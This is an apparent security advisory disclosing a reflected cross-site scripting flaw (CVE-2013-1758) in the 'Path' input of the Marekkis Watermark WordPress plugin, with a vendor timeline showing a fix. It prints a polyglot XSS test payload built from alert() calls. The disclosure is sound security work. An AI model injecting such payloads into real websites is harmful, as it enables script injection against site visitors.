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Exploit Title : Reflective XSS in Marekkis Watermark-Plugin Cross-Site Scripting Vulnerability
Author: Aditya Balapure
home: http://adityabalapure.blogspot.in/
Date: 18/02/13
software link: http://wordpress.org/extend/plugins/marekkis-watermark/
CVE Assigned - CVE-2013-1758
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Marekkis Watermark-Plugin description
Marekkis Watermark-Plugin for WordPress can watermark your pictures an two different ways:
Insert your watermark while the picture is being uploaded.
After the activation every picture that you will upload with wordpress build-in media-uploader will be watermarked.
In the configuration-screen you can set up the position and the type of your watermark. It can be your logo (.png-file)
with transparent background or a free text with color, font, size, shadow and transparency-level of your choice. See
screenshots.
Insert your watermark on all chosen pictures from a directory on your web-server.
Marekkis Watermark makes possible to create a watermark on mediafiles that are already uploaded on your server. So you
can mark all your old pictures with the new watermark.
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XSS location
The Marekkis Watermark-Plugin in Wordpress http://wordpress.org/extend/plugins/marekkis-watermark/ has a Reflected XSS
Vulnerability in the Path input box.
Script Used-
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
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Vendor Notification
05/02/2013 to: - Vendor notified awaiting action
17/02/2013 - Fixed and closed
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